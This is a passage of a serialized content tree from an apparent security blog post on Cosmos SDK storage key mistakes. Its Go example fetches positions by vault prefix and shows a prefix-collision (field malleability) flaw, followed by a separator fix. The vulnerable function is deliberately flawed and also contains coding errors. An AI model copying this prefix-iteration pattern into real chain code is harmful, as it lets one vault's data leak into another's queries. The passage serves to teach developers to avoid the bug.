"children":86693},{"style":154},[86694],{"type":29,"value":2168},{"type":23,"tag":141,"props":86696,"children":86697},{"class":143,"line":79521},[86698,86702],{"type":23,"tag":141,"props":86699,"children":86700},{"style":750},[86701],{"type":29,"value":85685},{"type":23,"tag":141,"props":86703,"children":86704},{"style":154},[86705],{"type":29,"value":2168},{"type":23,"tag":141,"props":86707,"children":86709},{"class":143,"line":86708},60,[86710],{"type":23,"tag":141,"props":86711,"children":86712},{"style":154},[86713],{"type":29,"value":22602},{"type":23,"tag":141,"props":86715,"children":86717},{"class":143,"line":86716},61,[86718],{"type":23,"tag":141,"props":86719,"children":86720},{"style":154},[86721],{"type":29,"value":2573},{"type":23,"tag":32,"props":86723,"children":86724},{},[86725],{"type":29,"value":86726},"We now have a proper example of how to serialize storage keys.",{"type":23,"tag":32,"props":86728,"children":86729},{},[86730,86732,86737],{"type":29,"value":86731},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":23,"tag":38,"props":86733,"children":86735},{"className":86734},[],[86736],{"type":29,"value":65584},{"type":29,"value":86738},", data should still be retrievable through original keys.",{"type":23,"tag":32,"props":86740,"children":86741},{},[86742,86744,86750,86752,86757],{"type":29,"value":86743},"Let's look at a case where we want to retrieve all ",{"type":23,"tag":38,"props":86745,"children":86747},{"className":86746},[],[86748],{"type":29,"value":86749},"map[Username]map[PositionName]Position",{"type":29,"value":86751}," associated with a ",{"type":23,"tag":38,"props":86753,"children":86755},{"className":86754},[],[86756],{"type":29,"value":83620},{"type":29,"value":86758}," from the storage. How can we safely accomplish this?",{"type":23,"tag":32,"props":86760,"children":86761},{},[86762,86764,86769,86771,86777],{"type":29,"value":86763},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":23,"tag":38,"props":86765,"children":86767},{"className":86766},[],[86768],{"type":29,"value":83691},{"type":29,"value":86770}," prefix. Below is an example of an attempt to fetch data with ",{"type":23,"tag":38,"props":86772,"children":86774},{"className":86773},[],[86775],{"type":29,"value":86776},"vaultId",{"type":29,"value":114},{"type":23,"tag":131,"props":86779,"children":86781},{"code":86780,"language":74649,"meta":7,"className":74650,"style":7},"func FetchPositionMapWithVaultId(\n vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n values := map[Username]map[PositionName]Position{}\n i := sdk.KVStorePrefixIterator(\n kvStore,\n fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n )\n for ; i.Valid(); i.Next() {\n k := strings.split(i.Key(), Seperator)\n\n username := make([]byte, hex.DecodedLen(k[0]))\n _, err := hex.Decode(username, k[0])\n if err != nil {\n return nil, err\n }\n\n positionName := make([]byte, hex.DecodedLen(k[1]))\n _, err := hex.Decode(positionName, k[1])\n if err != nil {\n return nil, err\n }\n\n if entry, ok := values[username]; !ok {\n values[username] = make(map[PositionName])\n }\n\n values[username][positionName] = Position {\n data: iterator.Value(),\n }\n }\n return values\n}\n",[86782],{"type":23,"tag":38,"props":86783,"children":86784},{"__ignoreMap":7},[86785,86801,86816,86865,86917,86946,86958,87004,87011,87057,87112,87119,87183,87244,87267,87286,87293,87300,87360,87419,87442,87461,87468,87475,87528,87576,87583,87590,87630,87659,87666,87673,87685],{"type":23,"tag":141,"props":86786,"children":86787},{"class":143,"line":144},[86788,86792,86797],{"type":23,"tag":141,"props":86789,"children":86790},{"style":449},[86791],{"type":29,"value":74785},{"type":23,"tag":141,"props":86793,"children":86794},{"style":184},[86795],{"type":29,"value":86796}," FetchPositionMapWithVaultId",{"type":23,"tag":141,"props":86798,"children":86799},{"style":154},[86800],{"type":29,"value":2123},{"type":23,"tag":141,"props":86802,"children":86803},{"class":143,"line":180},[86804,86808,86812],{"type":23,"tag":141,"props":86805,"children":86806},{"style":750},[86807],{"type":29,"value":83732},{"type":23,"tag":141,"props":86809,"children":86810},{"style":725},[86811],{"type":29,"value":74906},{"type":23,"tag":141,"props":86813,"children":86814},{"style":154},[86815],{"type":29,"value":2168},{"type":23,"tag":141,"props":86817,"children":86818},{"class":143,"line":205},[86819,86824,86828,86832,86836,86840,86844,86848,86852,86856,86861],{"type":23,"tag":141,"props":86820,"children":86821},{"style":154},[86822],{"type":29,"value":86823},") ([]",{"type":23,"tag":141,"props":86825,"children":86826},{"style":449},[86827],{"type":29,"value":65584},{"type":23,"tag":141,"props":86829,"children":86830},{"style":154},[86831],{"type":29,"value":2399},{"type":23,"tag":141,"props":86833,"children":86834},{"style":725},[86835],{"type":29,"value":83637},{"type":23,"tag":141,"props":86837,"children":86838},{"style":154},[86839],{"type":29,"value":14088},{"type":23,"tag":141,"props":86841,"children":86842},{"style":449},[86843],{"type":29,"value":65584},{"type":23,"tag":141,"props":86845,"children":86846},{"style":154},[86847],{"type":29,"value":2399},{"type":23,"tag":141,"props":86849,"children":86850},{"style":725},[86851],{"type":29,"value":83654},{"type":23,"tag":141,"props":86853,"children":86854},{"style":154},[86855],{"type":29,"value":14088},{"type":23,"tag":141,"props":86857,"children":86858},{"style":725},[86859],{"type":29,"value":86860},"Position",{"type":23,"tag":141,"props":86862,"children":86863},{"style":154},[86864],{"type":29,"value":13480},{"type":23,"tag":141,"props":86866,"children":86867},{"class":143,"line":218},[86868,86873,86877,86881,86885,86889,86893,86897,86901,86905,86909,86913],{"type":23,"tag":141,"props":86869,"children":86870},{"style":750},[86871],{"type":29,"value":86872}," values",{"type":23,"tag":141,"props":86874,"children":86875},{"style":160},[86876],{"type":29,"value":74901},{"type":23,"tag":141,"props":86878,"children":86879},{"style":449},[86880],{"type":29,"value":48147},{"type":23,"tag":141,"props":86882,"children":86883},{"style":154},[86884],{"type":29,"value":2399},{"type":23,"tag":141,"props":86886,"children":86887},{"style":725},[86888],{"type":29,"value":83637},{"type":23,"tag":141,"props":86890,"children":86891},{"style":154},[86892],{"type":29,"value":14088},{"type":23,"tag":141,"props":86894,"children":86895},{"style":449},[86896],{"type":29,"value":65584},{"type":23,"tag":141,"props":86898,"children":86899},{"style":154},[86900],{"type":29,"value":2399},{"type":23,"tag":141,"props":86902,"children":86903},{"style":725},[86904],{"type":29,"value":83654},{"type":23,"tag":141,"props":86906,"children":86907},{"style":154},[86908],{"type":29,"value":14088},{"type":23,"tag":141,"props":86910,"children":86911},{"style":725},[86912],{"type":29,"value":86860},{"type":23,"tag":141,"props":86914,"children":86915},{"style":154},[86916],{"type":29,"value":76582},{"type":23,"tag":141,"props":86918,"children":86919},{"class":143,"line":227},[86920,86925,86929,86933,86937,86942],{"type":23,"tag":141,"props":86921,"children":86922},{"style":750},[86923],{"type":29,"value":86924}," i",{"type":23,"tag":141,"props":86926,"children":86927},{"style":160},[86928],{"type":29,"value":74901},{"type":23,"tag":141,"props":86930,"children":86931},{"style":750},[86932],{"type":29,"value":77126},{"type":23,"tag":141,"props":86934,"children":86935},{"style":154},[86936],{"type":29,"value":322},{"type":23,"tag":141,"props":86938,"children":86939},{"style":184},[86940],{"type":29,"value":86941},"KVStorePrefixIterator",{"type":23,"tag":141,"props":86943,"children":86944},{"style":154},[86945],{"type":29,"value":2123},{"type":23,"tag":141,"props":86947,"children":86948},{"class":143,"line":241},[86949,86954],{"type":23,"tag":141,"props":86950,"children":86951},{"style":750},[86952],{"type":29,"value":86953}," kvStore",{"type":23,"tag":141,"props":86955,"children":86956},{"style":154},[86957],{"type":29,"value":2168},{"type":23,"tag":141,"props":86959,"children":86960},{"class":143,"line":262},[86961,86966,86970,86974,86978,86983,86987,86992,86996,87000],{"type":23,"tag":141,"props":86962,"children":86963},{"style":750},[86964],{"type":29,"value":86965}," fmt",{"type":23,"tag":141,"props":86967,"children":86968},{"style":154},[86969],{"type":29,"value":322},{"type":23,"tag":141,"props":86971,"children":86972},{"style":184},[86973],{"type":29,"value":83708},{"type":23,"tag":141,"props":86975,"children":86976},{"style":154},[86977],{"type":29,"value":192},{"type":23,"tag":141,"props":86979,"children":86980},{"style":828},[86981],{"type":29,"value":86982},"\"%s%d\"",{"type":23,"tag":141,"props":86984,"children":86985},{"style":154},[86986],{"type":29,"value":480},{"type":23,"tag":141,"props":86988,"children":86989},{"style":750},[86990],{"type":29,"value":86991},"PositionMapPrefix",{"type":23,"tag":141,"props":86993,"children":86994},{"style":154},[86995],{"type":29,"value":480},{"type":23,"tag":141,"props":86997,"children":86998},{"style":750},[86999],{"type":29,"value":86776},{"type":23,"tag":141,"props":87001,"children":87002},{"style":154},[87003],{"type":29,"value":758},{"type":23,"tag":141,"props":87005,"children":87006},{"class":143,"line":271},[87007],{"type":23,"tag":141,"props":87008,"children":87009},{"style":154},[87010],{"type":29,"value":22602},{"type":23,"tag":141,"props":87012,"children":87013},{"class":143,"line":293},[87014,87018,87023,87027,87031,87036,87040,87044,87048,87053],{"type":23,"tag":141,"props":87015,"children":87016},{"style":148},[87017],{"type":29,"value":1692},{"type":23,"tag":141,"props":87019,"children":87020},{"style":154},[87021],{"type":29,"value":87022}," ; ",{"type":23,"tag":141,"props":87024,"children":87025},{"style":750},[87026],{"type":29,"value":2404},{"type":23,"tag":141,"props":87028,"children":87029},{"style":154},[87030],{"type":29,"value":322},{"type":23,"tag":141,"props":87032,"children":87033},{"style":184},[87034],{"type":29,"value":87035},"Valid",{"type":23,"tag":141,"props":87037,"children":87038},{"style":154},[87039],{"type":29,"value":27133},{"type":23,"tag":141,"props":87041,"children":87042},{"style":750},[87043],{"type":29,"value":2404},{"type":23,"tag":141,"props":87045,"children":87046},{"style":154},[87047],{"type":29,"value":322},{"type":23,"tag":141,"props":87049,"children":87050},{"style":184},[87051],{"type":29,"value":87052},"Next",{"type":23,"tag":141,"props":87054,"children":87055},{"style":154},[87056],{"type":29,"value":14412},{"type":23,"tag":141,"props":87058,"children":87059},{"class":143,"line":801},[87060,87065,87069,87074,87078,87082,87086,87090,87094,87099,87103,87108],{"type":23,"tag":141,"props":87061,"children":87062},{"style":750},[87063],{"type":29,"value":87064}," k",{"type":23,"tag":141,"props":87066,"children":87067},{"style":160},[87068],{"type":29,"value":74901},{"type":23,"tag":141,"props":87070,"children":87071},{"style":750},[87072],{"type":29,"value":87073}," strings",{"type":23,"tag":141,"props":87075,"children":87076},{"style":154},[87077],{"type":29,"value":322},{"type":23,"tag":141,"props":87079,"children":87080},{"style":184},[87081],{"type":29,"value":68525},{"type":23,"tag":141,"props":87083,"children":87084},{"style":154},[87085],{"type":29,"value":192},{"type":23,"tag":141,"props":87087,"children":87088},{"style":750},[87089],{"type":29,"value":2404},{"type":23,"tag":141,"props":87091,"children":87092},{"style":154},[87093],{"type":29,"value":322},{"type":23,"tag":141,"props":87095,"children":87096},{"style":184},[87097],{"type":29,"value":87098},"Key",{"type":23,"tag":141,"props":87100,"children":87101},{"style":154},[87102],{"type":29,"value":17053},{"type":23,"tag":141,"props":87104,"children":87105},{"style":750},[87106],{"type":29,"value":87107},"Seperator",{"type":23,"tag":141,"props":87109,"children":87110},{"style":154},[87111],{"type":29,"value":758},{"type":23,"tag":141,"props":87113,"children":87114},{"class":143,"line":810},[87115],{"type":23,"tag":141,"props":87116,"children":87117},{"emptyLinePlaceholder":15},[87118],{"type":29,"value":719},{"type":23,"tag":141,"props":87120,"children":87121},{"class":143,"line":824},[87122,87127,87131,87135,87140,87144,87148,87152,87156,87161,87165,87170,87174,87178],{"type":23,"tag":141,"props":87123,"children":87124},{"style":750},[87125],{"type":29,"value":87126}," username",{"type":23,"tag":141,"props":87128,"children":87129},{"style":160},[87130],{"type":29,"value":74901},{"type":23,"tag":141,"props":87132,"children":87133},{"style":184},[87134],{"type":29,"value":84049},{"type":23,"tag":141,"props":87136,"children":87137},{"style":154},[87138],{"type":29,"value":87139},"([]",{"type":23,"tag":141,"props":87141,"children":87142},{"style":725},[87143],{"type":29,"value":83250},{"type":23,"tag":141,"props":87145,"children":87146},{"style":154},[87147],{"type":29,"value":480},{"type":23,"tag":141,"props":87149,"children":87150},{"style":750},[87151],{"type":29,"value":84122},{"type":23,"tag":141,"props":87153,"children":87154},{"style":154},[87155],{"type":29,"value":322},{"type":23,"tag":141,"props":87157,"children":87158},{"style":184},[87159],{"type":29,"value":87160},"DecodedLen",{"type":23,"tag":141,"props":87162,"children":87163},{"style":154},[87164],{"type":29,"value":192},{"type":23,"tag":141,"props":87166,"children":87167},{"style":750},[87168],{"type":29,"value":87169},"k",{"type":23,"tag":141,"props":87171,"children":87172},{"style":154},[87173],{"type":29,"value":2399},{"type":23,"tag":141,"props":87175,"children":87176},{"style":472},[87177],{"type":29,"value":2698},{"type":23,"tag":141,"props":87179,"children":87180},{"style":154},[87181],{"type":29,"value":87182},"]))\n",{"type":23,"tag":141,"props":87184,"children":87185},{"class":143,"line":839},[87186,87190,87194,87198,87202,87207,87211,87216,87220,87224,87228,87232,87236,87240],{"type":23,"tag":141,"props":87187,"children":87188},{"style":750},[87189],{"type":29,"value":26432},{"type":23,"tag":141,"props":87191,"children":87192},{"style":154},[87193],{"type":29,"value":480},{"type":23,"tag":141,"props":87195,"children":87196},{"style":750},[87197],{"type":29,"value":46898},{"type":23,"tag":141,"props":87199,"children":87200},{"style":160},[87201],{"type":29,"value":74901},{"type":23,"tag":141,"props":87203,"children":87204},{"style":750},[87205],{"type":29,"value":87206}," hex",{"type":23,"tag":141,"props":87208,"children":87209},{"style":154},[87210],{"type":29,"value":322},{"type":23,"tag":141,"props":87212,"children":87213},{"style":184},[87214],{"type":29,"value":87215},"Decode",{"type":23,"tag":141,"props":87217,"children":87218},{"style":154},[87219],{"type":29,"value":192},{"type":23,"tag":141,"props":87221,"children":87222},{"style":750},[87223],{"type":29,"value":83956},{"type":23,"tag":141,"props":87225,"children":87226},{"style":154},[87227],{"type":29,"value":480},{"type":23,"tag":141,"props":87229,"children":87230},{"style":750},[87231],{"type":29,"value":87169},{"type":23,"tag":141,"props":87233,"children":87234},{"style":154},[87235],{"type":29,"value":2399},{"type":23,"tag":141,"props":87237,"children":87238},{"style":472},[87239],{"type":29,"value":2698},{"type":23,"tag":141,"props":87241,"children":87242},{"style":154},[87243],{"type":29,"value":53920},{"type":23,"tag":141,"props":87245,"children":87246},{"class":143,"line":848},[87247,87251,87255,87259,87263],{"type":23,"tag":141,"props":87248,"children":87249},{"style":148},[87250],{"type":29,"value":233},{"type":23,"tag":141,"props":87252,"children":87253},{"style":750},[87254],{"type":29,"value":46999},{"type":23,"tag":141,"props":87256,"children":87257},{"style":160},[87258],{"type":29,"value":62868},{"type":23,"tag":141,"props":87260,"children":87261},{"style":449},[87262],{"type":29,"value":80403},{"type":23,"tag":141,"props":87264,"children":87265},{"style":154},[87266],{"type":29,"value":1951},{"type":23,"tag":141,"props":87268,"children":87269},{"class":143,"line":2304},[87270,87274,87278,87282],{"type":23,"tag":141,"props":87271,"children":87272},{"style":148},[87273],{"type":29,"value":77561},{"type":23,"tag":141,"props":87275,"children":87276},{"style":449},[87277],{"type":29,"value":80403},{"type":23,"tag":141,"props":87279,"children":87280},{"style":154},[87281],{"type":29,"value":480},{"type":23,"tag":141,"props":87283,"children":87284},{"style":750},[87285],{"type":29,"value":82124},{"type":23,"tag":141,"props":87287,"children":87288},{"class":143,"line":2313},[87289],{"type":23,"tag":141,"props":87290,"children":87291},{"style":154},[87292],{"type":29,"value":2008},{"type":23,"tag":141,"props":87294,"children":87295},{"class":143,"line":2335},[87296],{"type":23,"tag":141,"props":87297,"children":87298},{"emptyLinePlaceholder":15},[87299],{"type":29,"value":719},{"type":23,"tag":141,"props":87301,"children":87302},{"class":143,"line":2343},[87303,87308,87312,87316,87320,87324,87328,87332,87336,87340,87344,87348,87352,87356],{"type":23,"tag":141,"props":87304,"children":87305},{"style":750},[87306],{"type":29,"value":87307}," positionName",{"type":23,"tag":141,"props":87309,"children":87310},{"style":160},[87311],{"type":29,"value":74901},{"type":23,"tag":141,"props":87313,"children":87314},{"style":184},[87315],{"type":29,"value":84049},{"type":23,"tag":141,"props":87317,"children":87318},{"style":154},[87319],{"type":29,"value":87139},{"type":23,"tag":141,"props":87321,"children":87322},{"style":725},[87323],{"type":29,"value":83250},{"type":23,"tag":141,"props":87325,"children":87326},{"style":154},[87327],{"type":29,"value":480},{"type":23,"tag":141,"props":87329,"children":87330},{"style":750},[87331],{"type":29,"value":84122},{"type":23,"tag":141,"props":87333,"children":87334},{"style":154},[87335],{"type":29,"value":322},{"type":23,"tag":141,"props":87337,"children":87338},{"style":184},[87339],{"type":29,"value":87160},{"type":23,"tag":141,"props":87341,"children":87342},{"style":154},[87343],{"type":29,"value":192},{"type":23,"tag":141,"props":87345,"children":87346},{"style":750},[87347],{"type":29,"value":87169},{"type":23,"tag":141,"props":87349,"children":87350},{"style":154},[87351],{"type":29,"value":2399},{"type":23,"tag":141,"props":87353,"children":87354},{"style":472},[87355],{"type":29,"value":687},{"type":23,"tag":141,"props":87357,"children":87358},{"style":154},[87359],{"type":29,"value":87182},{"type":23,"tag":141,"props":87361,"children":87362},{"class":143,"line":2352},[87363,87367,87371,87375,87379,87383,87387,87391,87395,87399,87403,87407,87411,87415],{"type":23,"tag":141,"props":87364,"children":87365},{"style":750},[87366],{"type":29,"value":26432},{"type":23,"tag":141,"props":87368,"children":87369},{"style":154},[87370],{"type":29,"value":480},{"type":23,"tag":141,"props":87372,"children":87373},{"style":750},[87374],{"type":29,"value":46898},{"type":23,"tag":141,"props":87376,"children":87377},{"style":160},[87378],{"type":29,"value":74901},{"type":23,"tag":141,"props":87380,"children":87381},{"style":750},[87382],{"type":29,"value":87206},{"type":23,"tag":141,"props":87384,"children":87385},{"style":154},[87386],{"type":29,"value":322},{"type":23,"tag":141,"props":87388,"children":87389},{"style":184},[87390],{"type":29,"value":87215},{"type":23,"tag":141,"props":87392,"children":87393},{"style":154},[87394],{"type":29,"value":192},{"type":23,"tag":141,"props":87396,"children":87397},{"style":750},[87398],{"type":29,"value":84225},{"type":23,"tag":141,"props":87400,"children":87401},{"style":154},[87402],{"type":29,"value":480},{"type":23,"tag":141,"props":87404,"children":87405},{"style":750},[87406],{"type":29,"value":87169},{"type":23,"tag":141,"props":87408,"children":87409},{"style":154},[87410],{"type":29,"value":2399},{"type":23,"tag":141,"props":87412,"children":87413},{"style":472},[87414],{"type":29,"value":687},{"type":23,"tag":141,"props":87416,"children":87417},{"style":154},[87418],{"type":29,"value":53920},{"type":23,"tag":141,"props":87420,"children":87421},{"class":143,"line":2421},[87422,87426,87430,87434,87438],{"type":23,"tag":141,"props":87423,"children":87424},{"style":148},[87425],{"type":29,"value":233},{"type":23,"tag":141,"props":87427,"children":87428},{"style":750},[87429],{"type":29,"value":46999},{"type":23,"tag":141,"props":87431,"children":87432},{"style":160},[87433],{"type":29,"value":62868},{"type":23,"tag":141,"props":87435,"children":87436},{"style":449},[87437],{"type":29,"value":80403},{"type":23,"tag":141,"props":87439,"children":87440},{"style":154},[87441],{"type":29,"value":1951},{"type":23,"tag":141,"props":87443,"children":87444},{"class":143,"line":2429},[87445,87449,87453,87457],{"type":23,"tag":141,"props":87446,"children":87447},{"style":148},[87448],{"type":29,"value":77561},{"type":23,"tag":141,"props":87450,"children":87451},{"style":449},[87452],{"type":29,"value":80403},{"type":23,"tag":141,"props":87454,"children":87455},{"style":154},[87456],{"type":29,"value":480},{"type":23,"tag":141,"props":87458,"children":87459},{"style":750},[87460],{"type":29,"value":82124},{"type":23,"tag":141,"props":87462,"children":87463},{"class":143,"line":2459},[87464],{"type":23,"tag":141,"props":87465,"children":87466},{"style":154},[87467],{"type":29,"value":2008},{"type":23,"tag":141,"props":87469,"children":87470},{"class":143,"line":2467},[87471],{"type":23,"tag":141,"props":87472,"children":87473},{"emptyLinePlaceholder":15},[87474],{"type":29,"value":719},{"type":23,"tag":141,"props":87476,"children":87477},{"class":143,"line":2499},[87478,87482,87486,87490,87494,87498,87503,87507,87511,87516,87520,87524],{"type":23,"tag":141,"props":87479,"children":87480},{"style":148},[87481],{"type":29,"value":233},{"type":23,"tag":141,"props":87483,"children":87484},{"style":750},[87485],{"type":29,"value":61123},{"type":23,"tag":141,"props":87487,"children":87488},{"style":154},[87489],{"type":29,"value":480},{"type":23,"tag":141,"props":87491,"children":87492},{"style":750},[87493],{"type":29,"value":77252},{"type":23,"tag":141,"props":87495,"children":87496},{"style":160},[87497],{"type":29,"value":74901},{"type":23,"tag":141,"props":87499,"children":87500},{"style":750},[87501],{"type":29,"value":87502}," values",{"type":23,"tag":141,"props":87504,"children":87505},{"style":154},[87506],{"type":29,"value":2399},{"type":23,"tag":141,"props":87508,"children":87509},{"style":750},[87510],{"type":29,"value":83956},{"type":23,"tag":141,"props":87512,"children":87513},{"style":154},[87514],{"type":29,"value":87515},"]; ",{"type":23,"tag":141,"props":87517,"children":87518},{"style":160},[87519],{"type":29,"value":19293},{"type":23,"tag":141,"props":87521,"children":87522},{"style":750},[87523],{"type":29,"value":77252},{"type":23,"tag":141,"props":87525,"children":87526},{"style":154},[87527],{"type":29,"value":1951},{"type":23,"tag":141,"props":87529,"children":87530},{"class":143,"line":2507},[87531,87536,87540,87544,87548,87552,87556,87560,87564,87568,87572],{"type":23,"tag":141,"props":87532,"children":87533},{"style":750},[87534],{"type":29,"value":87535}," values",{"type":23,"tag":141,"props":87537,"children":87538},{"style":154},[87539],{"type":29,"value":2399},{"type":23,"tag":141,"props":87541,"children":87542},{"style":750},[87543],{"type":29,"value":83956},{"type":23,"tag":141,"props":87545,"children":87546},{"style":154},[87547],{"type":29,"value":7337},{"type":23,"tag":141,"props":87549,"children":87550},{"style":160},[87551],{"type":29,"value":1377},{"type":23,"tag":141,"props":87553,"children":87554},{"style":184},[87555],{"type":29,"value":84049},{"type":23,"tag":141,"props":87557,"children":87558},{"style":154},[87559],{"type":29,"value":192},{"type":23,"tag":141,"props":87561,"children":87562},{"style":449},[87563],{"type":29,"value":65584},{"type":23,"tag":141,"props":87565,"children":87566},{"style":154},[87567],{"type":29,"value":2399},{"type":23,"tag":141,"props":87569,"children":87570},{"style":725},[87571],{"type":29,"value":83654},{"type":23,"tag":141,"props":87573,"children":87574},{"style":154},[87575],{"type":29,"value":53920},{"type":23,"tag":141,"props":87577,"children":87578},{"class":143,"line":2567},[87579],{"type":23,"tag":141,"props":87580,"children":87581},{"style":154},[87582],{"type":29,"value":2008},{"type":23,"tag":141,"props":87584,"children":87585},{"class":143,"line":7724},[87586],{"type":23,"tag":141,"props":87587,"children":87588},{"emptyLinePlaceholder":15},[87589],{"type":29,"value":719},{"type":23,"tag":141,"props":87591,"children":87592},{"class":143,"line":7742},[87593,87598,87602,87606,87610,87614,87618,87622,87626],{"type":23,"tag":141,"props":87594,"children":87595},{"style":750},[87596],{"type":29,"value":87597}," values",{"type":23,"tag":141,"props":87599,"children":87600},{"style":154},[87601],{"type":29,"value":2399},{"type":23,"tag":141,"props":87603,"children":87604},{"style":750},[87605],{"type":29,"value":83956},{"type":23,"tag":141,"props":87607,"children":87608},{"style":154},[87609],{"type":29,"value":47436},{"type":23,"tag":141,"props":87611,"children":87612},{"style":750},[87613],{"type":29,"value":84225},{"type":23,"tag":141,"props":87615,"children":87616},{"style":154},[87617],{"type":29,"value":7337},{"type":23,"tag":141,"props":87619,"children":87620},{"style":160},[87621],{"type":29,"value":1377},{"type":23,"tag":141,"props":87623,"children":87624},{"style":750},[87625],{"type":29,"value":6099},{"type":23,"tag":141,"props":87627,"children":87628},{"style":154},[87629],{"type":29,"value":1951},{"type":23,"tag":141,"props":87631,"children":87632},{"class":143,"line":7787},[87633,87637,87641,87646,87650,87655],{"type":23,"tag":141,"props":87634,"children":87635},{"style":750},[87636],{"type":29,"value":25635},{"type":23,"tag":141,"props":87638,"children":87639},{"style":154},[87640],{"type":29,"value":14008},{"type":23,"tag":141,"props":87642,"children":87643},{"style":750},[87644],{"type":29,"value":87645},"iterator",{"type":23,"tag":141,"props":87647,"children":87648},{"style":154},[87649],{"type":29,"value":322},{"type":23,"tag":141,"props":87651,"children":87652},{"style":184},[87653],{"type":29,"value":87654},"Value",{"type":23,"tag":141,"props":87656,"children":87657},{"style":154},[87658],{"type":29,"value":2151},{"type":23,"tag":141,"props":87660,"children":87661},{"class":143,"line":7893},[87662],{"type":23,"tag":141,"props":87663,"children":87664},{"style":154},[87665],{"type":29,"value":2008},{"type":23,"tag":141,"props":87667,"children":87668},{"class":143,"line":22181},[87669],{"type":23,"tag":141,"props":87670,"children":87671},{"style":154},[87672],{"type":29,"value":299},{"type":23,"tag":141,"props":87674,"children":87675},{"class":143,"line":22216},[87676,87680],{"type":23,"tag":141,"props":87677,"children":87678},{"style":148},[87679],{"type":29,"value":15665},{"type":23,"tag":141,"props":87681,"children":87682},{"style":750},[87683],{"type":29,"value":87684}," values\n",{"type":23,"tag":141,"props":87686,"children":87687},{"class":143,"line":22224},[87688],{"type":23,"tag":141,"props":87689,"children":87690},{"style":154},[87691],{"type":29,"value":2573},{"type":23,"tag":32,"props":87693,"children":87694},{},[87695,87697,87703,87704,87710,87712,87717,87719,87724,87726,87731,87733,87739,87741,87747],{"type":29,"value":87696},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":23,"tag":38,"props":87698,"children":87700},{"className":87699},[],[87701],{"type":29,"value":87702},"vaultId = 1",{"type":29,"value":313},{"type":23,"tag":38,"props":87705,"children":87707},{"className":87706},[],[87708],{"type":29,"value":87709},"vaultId = 10",{"type":29,"value":87711}," coexist. If we try to fetch data under ",{"type":23,"tag":38,"props":87713,"children":87715},{"className":87714},[],[87716],{"type":29,"value":87702},{"type":29,"value":87718},", all entries under ",{"type":23,"tag":38,"props":87720,"children":87722},{"className":87721},[],[87723],{"type":29,"value":87709},{"type":29,"value":87725}," will also be returned simply because ",{"type":23,"tag":38,"props":87727,"children":87729},{"className":87728},[],[87730],{"type":29,"value":687},{"type":29,"value":87732}," is a prefix of ",{"type":23,"tag":38,"props":87734,"children":87736},{"className":87735},[],[87737],{"type":29,"value":87738},"10",{"type":29,"value":87740},". To fix this, we must once again append the ",{"type":23,"tag":38,"props":87742,"children":87744},{"className":87743},[],[87745],{"type":29,"value":87746},"Separator",{"type":29,"value":87748}," to the iterator prefix.",{"type":23,"tag":131,"props":87750,"children":87752},{"code":87751,"language":74649,"meta":7,"className":74650,"style":7},"i := sdk.KVStorePrefixIterator(\n kvStore,\n fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[87753],{"type":23,"tag":38,"props":87754,"children":87755},{"__ignoreMap":7},[87756,87783,87795,87848],{"type":23,"tag":141,"props":87757,"children":87758},{"class":143,"line":144},[87759,87763,87767,87771,87775,87779],{"type":23,"tag":141,"props":87760,"children":87761},{"style":750},[87762],{"type":29,"value":2404},{"type":23,"tag":141,"props":87764,"children":87765},{"style":160},[87766],{"type":29,"value":74901},{"type":23,"tag":141,"props":87768,"children":87769},{"style":750},[87770],{"type":29,"value":77126},{"type":23,"tag":141,"props":87772,"children":87773},{"style":154},[87774],{"type":29,"value":322},{"type":23,"tag":141,"props":87776,"children":87777},{"style":184},[87778],{"type":29,"value":86941},{"type":23,"tag":141,"props":87780,"children":87781},{"style":154},[87782],{"type":29,"value":2123},{"type":23,"tag":141,"props":87784,"children":87785},{"class":143,"line":180},[87786,87791],{"type":23,"tag":141,"props":87787,"children":87788},{"style":750},[87789],{"type":29,"value":87790}," kvStore",{"type":23,"tag":141,"props":87792,"children":87793},{"style":154},[87794],{"type":29,"value":2168},{"type":23,"tag":141,"props":87796,"children":87797},{"class":143,"line":205},[87798,87803,87807,87811,87815,87820,87824,87828,87832,87836,87840,87844],{"type":23,"tag":141,"props":87799,"children":87800},{"style":750},[87801],{"type":29,"value":87802}," fmt",{"type":23,"tag":141,"props":87804,"children":87805},{"style":154},[87806],{"type":29,"value":322},{"type":23,"tag":141,"props":87808,"children":87809},{"style":184},[87810],{"type":29,"value":83708},{"type":23,"tag":141,"props":87812,"children":87813},{"style":154},[87814],{"type":29,"value":192},{"type":23,"tag":141,"props":87816,"children":87817},{"style":828},[87818],{"type":29,"value":87819},"\"%s%d%s\"",{"type":23,"tag":141,"props":87821,"children":87822},{"style":154},[87823],{"type":29,"value":480},{"type":23,"tag":141,"props":87825,"children":87826},{"style":750},[87827],{"type":29,"value":86991},{"type":23,"tag":141,"props":87829,"children":87830},{"style":154},[87831],{"type":29,"value":480},{"type":23,"tag":141,"props":87833,"children":87834},{"style":750},[87835],{"type":29,"value":86776},{"type":23,"tag":141,"props":87837,"children":87838},{"style":154},[87839],{"type":29,"value":480},{"type":23,"tag":141,"props":87841,"children":87842},{"style":750},[87843],{"type":29,"value":87107},{"type":23,"tag":141,"props":87845,"children":87846},{"style":154},[87847],{"type":29,"value":5410},{"type":23,"tag":141,"props":87849,"children":87850},{"class":143,"line":218},[87851],{"type":23,"tag":141,"props":87852,"children":87853},{"style":154},[87854],{"type":29,"value":758},{"type":23,"tag":32,"props":87856,"children":87857},{},[87858,87860,87865],{"type":29,"value":87859},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":23,"tag":38,"props":87861,"children":87863},{"className":87862},[],[87864],{"type":29,"value":83462},{"type":29,"value":87866}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":23,"tag":32,"props":87868,"children":87869},{},[87870],{"type":29,"value":87871},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":23,"tag":8287,"props":87873,"children":87875},{"id":87874},"real-world-examples-5",[87876],{"type":29,"value":75174},{"type":23,"tag":32,"props":87878,"children":87879},{},[87880,87881,87886,87888,87895,87897,87903],{"type":29,"value":388},{"type":23,"tag":38,"props":87882,"children":87884},{"className":87883},[],[87885],{"type":29,"value":76947},{"type":29,"value":87887}," previously lacked protection against KVStore 